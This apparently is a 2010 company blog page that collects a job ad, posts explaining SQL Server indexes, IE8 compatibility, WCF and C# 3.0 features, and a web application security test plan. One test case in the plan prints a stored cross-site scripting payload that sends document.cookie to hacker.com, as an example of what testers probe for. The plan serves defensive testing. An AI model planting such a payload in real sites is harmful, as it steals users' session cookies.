Tuesday, June 1, 2010

  JOB TITLE: Senior UI Developer
 JOB LOCATION: 6th, Of October,Egypt.  ( Find us )

 JOB OVERVIEW:

  • Company:  Flair-systems
  • Salary: Negotiated
  • Department: Software
  • Experience: At least 3 year(s)
  • Email: Careers@flair-systems.com
  • Job ID: HR-SeniorUI-Dev-Flair-5 
    [ Please don’t forget to subject your mail with the job ID ]
  • Closing Date 6/30/2010

 JOB DESCRIPTION:

Senior UI Developer with expert level JavaScript, HTML and CSS skills needed , have a strong Front End / UI Development skills, front end design experience and experience working on high-traffic client facing web applications. have the ability to work in a fast paced development environment, and given the chance to work with a very driven management and development team.

Requirements:

- Expert level JavaScript, HTML, CSS skills.
- Excellent UI/User Interface skills.
- AJAX.
- Versatility in programming, design and development.
- Information Architecture skills.
- Cross browser capabilities.
- Experience with asp.net , PHP, Python is a plus.
- Experience building high-traffic web applications.
- Well versed in front end optimization.
- Experience working in a Test Driven development environments.
- Strong communication skills, ability to work in fast paced and evolving environment.


What you'll be doing:


- Design, create, and develop front end applications utilizing JavaScript, HTML, and CSS.
- Work on client facing publishing and media websites.
- Lead Code review sessions.
- Work closely with development staff.
- Create use cases and generate solutions.


What's in it for you:


- Work in a casual office.
- Work with a cutting edge technology team.
- Work with a top notch management team who has proven success with previous start up ventures.
- Competitive base salary based on experience.

Best wishes,
----------------------------

Flair HR Team
www.flair-systems.com




All of us read a lot of papers about indexes and forgot it quickly

The solution is to remember a real-life problem when any one asks u about indexes



A librarian had 1000s of books not arranged in any order. When anyone asks for a book the librarian takes 2 to 3 hrs to find the book. A wise man came to him in a dream and  told him to give every book a number and arrange them into shelves in ranges 100..200,300..400,……9900..10000.now anyone comes and asks for a book number the librarian will find it in seconds. The librarian was too happy, but life is not good, a man asked for a book named “Operating System Concepts” the librarian asked him the number he told I don’t know, the librarian takes 1 hour to find the book. then the librarian slept and the wise guy appeared and told him, to make a catalog for  book names arranged alphabetically and beside each one the book number on the shelf .FINE the problem solved .and he made catalogs to the authors and publishing dates and so on.

 

I’ll write the same story but replacing Books with (TABLE ROWS),book number with (CLUSTERED INDEX), Shelves with (DATA PAGAES) , Book name in book names catalog (Non-clustered index), the catalog itself (DATA PAGES also).

 

So what does happen in a DATABASE MANAGEMENT SYSTEM like SQL SERVER

Table rows are stored physically in the hard disk into data pages according to their clustered index (usually primary key) range values , and inside each data page the data records saved arranged by their clustered index value.(this is the reason why no of clustered indexes is only one : because the data saved physically according to one factor)

 

If you have PRODUCT table (name of database entity should be singular) and attributes (PRODUCTID,PRODUCTNAME,PRICE,FACTORYCODE,CREATIONDATE)

All of us will create PRODUCTID as a primary key and so forth it becomes a clustered index and according to the queries made if it often asks for instance for PRODUCTNAME (the where portion on the query) then make a non-clustered index on its column. and so on.

 

The index values are stored into data pages created as a B+ Tree (Balanced tree) the intermediate pages contains ranges that directs the search process .the leaf pages contains the actual index values .

 

The non-clustered index tree like this but the leaf nodes contain (book name non-clustered index value along with clustered index value) to take it and search in the clustered index tree to take the actual data physically.

 

C# fast-food by:
Eng.Waleed abou-zaid
Senior Software Developer
Harf Information Technology
MCSD.Net,MCAD.Net,MCP,A+,N+ certified
walid.abouzaid@gmail.com



Many people send a mail to me that to make older aspx pages to be browsed accuratley on IE8 as they were browsed on IE7.

Just add this following

http-header (X-UA-Compatible: IE=EmulateIE7).


but what’s the problem ?
Why does the problem occurred from beginning?


when the server controls be rendered as html on client m/c it has 2 attributes :

id (_ separated, which is the clientID of the control)
name($ separated which is control uniqueID)

when you call the JavaScript built-in function object.getElementById(ServerControl.ClientID) ,it finds the control and return the control as object;

also if you call it as  object.getElementById(ServerControl.UniqueID) it finds the control and also return the control as object.


That because it treats the control ‘s id and name as IDs,

and that is not the standard (if u call the previous fun, and browse the page within firefox. it will return null and that’s the standard.



but Microsoft beginning from ie8 and later will  treat the clientID(_ separted) as ID, and uiqueID($ separated) as control name.

and to make ie8 behaves like ie7 u can add the above http-header to your website or to all your websites within the IIS tool.

and it can be per page by adding the following meta tag

                        <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

but still many things don’t run on Firefox or other browers than ie because Microsoft uses custom JavaScript library which is written within resource.xsd files.

for example there is a client javascript fun (private for Microsoft)  for enabling and disabling validators [ the fun is ValidatorEnable(objected,bool)]

if u browse it in firefox it will give parsing errors.

People, that’s the hell of Microsoft.

C# fast-food by:
Eng.Waleed abou-zaid
Senior Software Developer
Harf Information Technology
MCSD.Net,MCAD.Net,MCP,A+,N+ certified
walid.abouzaid@gmail.com



WCF:

Is the Microsoft programming model which unifies the existing distributed technologies like(web services,com+,etc….) in a one programming model.

 

When you develop a WCF application it will be a set of services.

Each service has components for clients to communicate and work with These components are called End Points

 

Each end point has 3 attributes (ABC) Address,Binding,Contract

 

  • Binding:HOW to communicate with the service
  • Contract:WHAT the service will offer to clients (will be an interface)

 

To Make WCF service

 

Create an interface which surrounded by [ServiceContract()] attribute Include the methods that will be the behavior of your service, the method that will be presented to service clients must be surrounded with [OperationContract] attribute.Then write a class that implement the interface.

 

ex:
  1. [ServiceContract()]
  2. public interface IWCFHarf
  3. {
  4.                 [OperationContract]
  5.                 Public string SayHello(HarfDataContract data);
  6. }
  7.  
  8. public class WCFHarfService:IWCFHARF
  9. {
  10. String _name=””;
  11.  
  12.     public WFCHarf(HarfDatContract data)
  13.                 {
  14.                                         _name=data.Name;
  15.         }
  16.    
  17.     public string SayHello()
  18.         {
  19.                                 return “Hello” + “  “+_name ;
  20. }
  21. }
  22.  
  23. public class HarfDataContract
  24. {
  25.                 [DataMember]
  26.                 public string Name
  27. {
  28.                                 get{ Return “Ahmed”; }
  29.  
  30.                 }
  31.     }

Making a simple Example

If u have visual studio 2008 installed u will make the project automatically. but if u have vs2005 u must install .Net Framework 0.3 & WCF Extension for VS2005.

Steps:

1.Create a new solution then add a new project of type WCF Service

                This will add these files(Service.svc,web.config,Service.cs)

                Service.cs:Copy and paste previous code in this file

                Service.svc:

 

this file like page header of an aspx file. it specify lang. used, code file path, and service name

 

ex:
  1. <% @ServiceHost Language=C# Debug="true" Service="WCFHarfService" CodeBehind="~/App_Code/Service.cs" %>
  2.             Web.config file:
  3.             <?xml version="1.0"?>
  4.  
  5. <configuration xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0">
  6.   <system.serviceModel>
  7.     <services>
  8.       <service name="MyService" behaviorConfiguration="returnFaults">
  9.         <endpoint contract="IMyService" binding="wsHttpBinding"/>
  10.       </service>
  11.     </services>
  12.     <behaviors>
  13.       <serviceBehaviors>
  14.         <behavior name="returnFaults" >
  15.           <serviceDebug includeExceptionDetailInFaults="true" />
  16. <serviceMetadata httpGetEnabled="true" />
  17.         </behavior>
  18.       </serviceBehaviors>
  19.     </behaviors>
  20.   </system.serviceModel>
  21.   <system.web>
  22.     <compilation debug="true"/>
  23.   </system.web>
  24. </configuration>

 

Explanation of web.config class

Within the <system.serviceModel> we will host Serivces tag. which will has all services we will have in our project or what we want to expose

Within   <Services>

We will host service by service

Each service tag has a name atribute “the name of the service class” and “behaviorConfiguration” that specify name of behaviour tag within serviceBehaviors tag

Each serrvice has endpoint(s) tag(s) as wanted

Each endpoint( “ABC” as before) :has three  attributes Address,Binding, and Contract

  • Address(“Where”): will be “” empty if the service on the localhost.
  • Binding(“How”): binding="wsHttpBinding" we will use http or https for transportation and communication
  • Contract(What”):the Name of the interface

Within <ServiceBehaviours> there are behaviour(s) tag(s)

<serviceDebug includeExceptionDetailInFaults="true" />

 

Each behaviour has name attribute so service can find it as mentioned before

serviceDebug includeExceptionDetailInFaults="true" specify that in occurance of exceptions include details of the exception in the message.

<serviceMetadata httpGetEnabled="true" />

To enable service client to get metadata of the service project assebmly to view and call service contained types

Go to IIS and enable Windows Integration Security on the virtual directory of the WCF project

Press F5 a page with this URL (http://localhost/WCFHarf/WCFHarfService.svc?wsdl ) will be shown to u.

Pressing it will generate this class “WCFHarfServiceClient”

Add a new project of any type say console:

Add web reference type (http://localhost/WCFHarf/WCFHarfService.svc) then click add reference

In the main method type the following

WCFHarfServiceClient client=new WCFHarfServiceClient();

Console.WriteLine(client.SayHello);

 

End of the story;

C# fast-food by:
Eng.Waleed abou-zaid
Senior Software Developer
Harf Information Technology
MCSD.Net,MCAD.Net,MCP,A+,N+ certified
walid.abouzaid@gmail.com




Me : Do you want to jump to C# 4.0?
Someone : Yes !!!
Me : Wait !!! did  you know the new features  that were in C# 3.0 when it was released?
Someone: No


Ok read the following:-


1. Implicitly typed local variables and arrays:  A new keyword is introduced called var. This allows you to declare a variable and let the compiler figure out the type

 

ex:
  1.         // Declare a variable of type int
  2. var i = 5;
  3. // Declare an int array
  4. var a = new[] { 1, 10, 100, 1000 };
  5. // Usage:
  6. for (var i = 0; i < 5; i++) { }
  7. foreach (var item in MyList) { }
  8. using (var file = new StreamReader("Filename.txt")) { }


2. Auto-implement properties: Use this when no additional logic is required in the property accessors.

 

ex:
  1.         // Previously we had to do this,
  2.         private string _name;
  3.         public string Name
  4.         {
  5.             get { return this._name; }
  6.             set { this._name = value; }
  7.         }
  8.         // Now we can shorthand it, there’s no need to declare the _name variable
  9.         public string Name { get; set; } // The compiler creates a private anonymous backing field


3. Object and collection initializers: Set properties inline during object creation.
   

ex:
  1.     public class A {
  2.     public string Name { get; set; }
  3.     public string Address { get; set; }
  4. }
  5. // Previously we would have to do,
  6. A a = new A();
  7. a.Name = "...";
  8. a.Address = "...";
  9. // Now we can do this,
  10. A a = new A { Name = "...", Address = "..." };
  11. // Similarly, we can initialize collections,
  12. List<int> MyList = new List<int> { 0, 1, 2, 3, 4 };


4. Extension methods: Now you can add methods to existing types without creating a new derived type, recompiling or modifying the original type’s code. This is incredibly useful in writing cleaner code,

 

ex:
  1. // Previously we would do this,
  2. String domain = GetDomain(url); // url is a string type
  3. // Now we can do this,
  4. String domain = url.GetDomain();  // String now has a custom method ...
  5. // ... because we defined an extension method for the string type,
  6. public static class MyStringExtensions
  7. {
  8.     public static String GetDomain(this String str)
  9.     {
  10.         // Extract domain from url and return;
  11.     }
  12. }


5. Anonymous types: If you need a small class with read only properties, you can now use a simple syntax,
    

ex:
  1. // a is an anonymous type, the compiler creates the class with
  2. // private string fields _name and _address
  3. // and public string properties Name and Address,
  4. var a = new { Name = "...", Address = "..." };
  5. // a.Name and a.Address are read-only,
  6. string s = a.Name;


6. Query keywords (LINQ): We are now able to use TSQL like syntax inside C# to query data sources (could be objects, collections, XML, or SQL databases). Introduces a host of new keywords like from, where, select, group, orderby, join, etc.
    

ex:
  1. // The data source,
  2.      int[] numbers = { 0, 1, 2, 3, 4, };
  3.      // Create the query,
  4.      var lessthan3 =
  5.          from num in numbers
  6.          where num < 3
  7.          select num;
  8.      // Output: 0 1 2
  9.      foreach (var m in lessthan3) {
  10.          Console.Write(m.ToString() + " ");
  11.      }


8. Partial method definitions: A partical class (introduced in C# 2.0) can now have partial methods. This simply means the method signature is in one partial class and the implementation in another. There are some constraints, like the method is implicitly private (and therefore cannot be virtual) and must return void.
     

ex:
  1. public partial class A
  2. {
  3.     // Method definition
  4.     partial void Method();
  5. }
  6. public partial class A
  7. {
  8.     // Method implementation
  9.     partial void Method() { /* Do Work */ }
  10. }

 

 

C# fast-food by:
Eng.Waleed abou-zaid
Senior Software Developer
Harf Information Technology
MCSD.Net,MCAD.Net,MCP,A+,N+ certified
walid.abouzaid@gmail.com



Application security testing is defined as a process of identifying the various vulnerabilities in a system which are exposed because of improper design or coding issues. This document doesn’t provide the complete list of all the vulnerabilities

Test should be designed considering the following points

  • Ø Probability of occurrence of event
  • Ø Risk associated with each occurrence

The different vulnerabilities for which web application should be tested are as follows:

  • Ø Authentication
  • Ø Session Management
  • Ø Cookies
  • Ø Error handling
  • Ø Cross Site scripting
  • Ø Anti-Automation


1- Authentication

a- User guesses the password

Pre-condition
Post-condition
Description

Some websites allows user to register with weak password. The weak password can be one of dictionary word, user of either lower or upper case only, only alphabets, small length password

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

{Test Step Type }

{Description/Instruction on what to do in this Test Step}

{The expected result from executing the Test Step}

{The actual result after the Test Step was executed. If different from the Test Step}

{Pass/

Failed}

{Date Test Step was executed}

{Tester Initial}

1

Website registration page

1-check complexity

2

2-check password confirms and required length with combination of lower and upper case and special keywords

3

3-check that password doesn’t belong to dictionary


b-
Brute Force attack

Pre-condition
Post-condition
Description

Some websites doesn’t allow the account lockout features in case wrong information is entered for more than few attempts. It allows the Brute Force attack, which is an automated process of trial and error to guess the person username, password and credit card numbers.

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

4

User login page

1-check account lockout happens after few unsuccessful attempts

5

2-check the error message displayed doesn’t tells which part of authentication credentials are incorrect

6

3-Check the status failure or success after few seconds once the user enters the credentials


c-
Password recovery validation

Pre-condition
Post-condition
Description

The attack happens when the attacker illegally obtain, change another users password.

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

7

Change/ Forgotten password screen

1-check that change password screen have old password field mandatory

8

2-check to ensure that password field doesn’t have Auto complete feature “ON”

9

3-check the new password is not displayed in the screen but is send to user mail id

10

4- Check to see that account gets locked if user tried to enter old password incorrect for more than 3 attempts.

2- Session Management

Description

Session management is necessary to maintain the identity of user across multiple requests. Cookies are information which is stored on client machine by web server. They are basically name-value pair which website uses to retrieve data when user visits the site again or across requests. Attackers can tamper this data to acquire information. The various attacks that can happen are:-

a- Insufficient session Expiration

Pre-condition
Post-condition
Description

The application allows the attacker to reuse the old session IDs. All it needs for an attacker is to know the old session id and he can reuse the same.

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

11

All application pages

Check that the application logs off or session is expired after some time.


b- Session Hijacking

Pre-condition
Post-condition
Description

If session ids are predictable, it is possibility that attacker can guess the session id and can use it.

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

12

Any page after login

1- Check whether session ids are predictable.

13

2-Check multiple session of same user is not allowed

14

3- Check important data is transferred using HTTPS protocol


3- Cookies

Description

Cookie is small information stored in text file on user’s hard drive by web server. This information is later used by web browser to retrieve information from that machine. Generally cookie contains personalized user data or information that is used to communicate between different web pages.

Pre-condition
Post-condition

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

15

privacy policy

As a Cookie privacy policy make sure from your design documents that no personal or sensitive data is stored in the cookie.

16

sensitive data

If you have no option than saving sensitive data in cookie make sure data stored in cookie is stored in encrypted format

17

no overuse of cookies

Make sure that there is no overuse of cookies on your site under test. Overuse of cookies will annoy users if browser is prompting for cookies more often and this could result in loss of site traffic and eventually loss of business.

Description

Disable the cookies

Pre-condition

For executing this test case you can set browser options to prompt whenever cookie is being written to disk. On this prompt window you can either accept or reject cookie.

Post-condition

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

18

Disable the cookies

Disable the cookies from your browser settings.

Then try to access the web site under test. Navigate through the site. There should not be any page crash due to disabling the cookies.

- If you are using cookies on your site, your sites major functionality will not work by disabling the cookies

-See if appropriate messages are displayed to user like “For smooth functioning of this site make sure that cookies are enabled on your browser”.

Description

Accepts/Reject some cookies:

Pre-condition

For executing this test case you can set browser options to prompt whenever cookie is being written to disk. On this prompt window you can either accept or reject cookie.

Post-condition

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

19

Accepts/Reject some cookies:

The best way to check web site functionality is, not to accept all cookies. If you are writing 10 cookies in your web application then randomly accept some cookies say accept 5 and reject 5 cookies. Try to access major functionality of web site. See if pages are getting crashed or data is getting corrupted

20

Delete cookie:

Delete cookie: Allow site to write the cookies and then close all browsers and manually delete all cookies for web site under test. Access the web pages and check the behavior of the pages.

21

Corrupt the cookies:

Corrupting cookie is easy. You know where cookies are stored. Manually edit the cookie in notepad and change the parameters to some vague values. Like alter the cookie content, Name of the cookie or expiry date of the cookie and see the site functionality.

-In some cases corrupted cookies allow to read the data inside it for any other domain. This should not happen in case of your web site cookies.

The cookies written by one domain say hotmail.com can’t be accessed by other domain say yahoo.com unless and until the cookies are corrupted and someone trying to hack the cookie data.

22

Checking the deletion of cookies from your web application page:

Sometimes cookie written by domain say rediff.com may be deleted by same domain but by different page under that domain. This is the general case if you are testing some ‘action tracking’ web portal. Action tracking or purchase tracking pixel is placed on the action web page and when any action or purchase occurs by user the cookie written on disk get deleted to avoid multiple action logging from same cookie. Check if reaching to your action or purchase page deletes the cookie properly and no more invalid actions or purchase get logged from same user.

23

Cookie Testing on Multiple browsers:

This is the important case to check if your web application page is writing the cookies properly on different browsers as intended and site works properly using these cookies. You can test your web application on Major used browsers like Internet explorer (Various versions), Mozilla Firefox, Netscape, Opera etc.

24

Cookies to maintain the logging state of any user

If your web application is using cookies to maintain the logging state of any user then log in to your web application using some username and password. In many cases you can see the logged in user ID parameter directly in browser address bar. Change this parameter to different value ,say if previous user ID is 100 then make it 101 and press enter.

The proper access message should be displayed to user and user should not be able to see other users account.

4- Error Handling

Description

It is common mistake from developer that errors are not handled properly and lot of information is disclosed and leads to information disclosure attack. The various attacks that can happen are:-

a- Path Traversal

Pre-condition
Post-condition
Description

Techniques used to access the files and folder which are outside the web root directory.

If you have a website http://PCS.com/ex.html , just change the URL to point to some file which is not present for example http://PCS.com/any.html if the error message thrown is something like file notavailable.html is not present in C:\test\webapp. Then error message has disclosed very important information to the attacker showing the directory structure of web server. This can be exploited by an attacker for accessing files and folders that resides outside the root directory.

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

25

Accessing the password file from the server

Check to validate the proper access control mechanism on the server. Test should be done so that error message doesn’t reveal too much of information. Test to validate the input URL.

b- Predictable resource location

Pre-condition
Post-condition
Description

Technique used to gain access to hidden content. The reason is most of the time application follow a similar folder structure and file naming convention which makes the content more predictable.

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

26

1-Technique used to gain access to hidden content

2- use of sequential files in a folder

Check files are not stored in sequential manner. Test for access control mechanism. Test for predictable folder structure and files within them.

for example

www.PCS.com/myfiles/fil1.txt

www.PCS.com/myfiles/fil2.txt

www.PCS.com/myfiles/fil3.txt


5- Cross Site Scripting

Description

In this the malicious script is executed on the client side. This happens when server side validation is not done for the input fields. The different attacks that can happen are:-

a- Echo-type Cross scripting

Pre-condition
Post-condition
Description

In this the input is entered in some fields on the client machine which is echoed back from the server

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

27

User registration page

1-Check that proper validation is done from the server side Give the input <script>Hello World </script>. When the form is submitted, the server echoes back and the script is executed showing the dialog box “Hello World’

28

2- Test to check the inputs doesn’t accepts the special character like <> %

29

Turn off script

System display message

“please turn on your script”

b- Stored cross scripting

Pre-condition
Post-condition
Description

In this type of attack, the message is stored in the server without proper validation and when clicked on the message link, the user is redirected to some other page and this can result in session ID hijacking.

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

30

Mail forum

The mail is stored in the server with input <script> document location replace ('http://hacker.com/steal.cgi?'+document. cookie) ;< /script>">. This redirects the user to attacker site and the cookie is stolen

Check scripting is allowed or not.

Test for input validation so that it doesn’t contain special characters. Special characters are encoded.

6- Anti-Automation

Pre-condition
Post-condition
Description

Insufficient anti-automation attack is when a web site permits an attacker to automate a process that should be performed manually. This can even result in denial of service for some functionality.

Steps

Step

Type

Description

Expected

Actual, if different from Expected

P/F

Date

By

31

User registration page

1-Check that registration process cannot be automated, it should include the manual entry also.

Test to see if CAPTCHA is used.

Test for avoiding Brute force attack.

Software Quality By :

Ahmed Abdelhamid
Software Quality Engineer
Interactive Saudi Arabia Ltd.
An Economic Offset Program Co.
http://www.il.com.sa/ahamid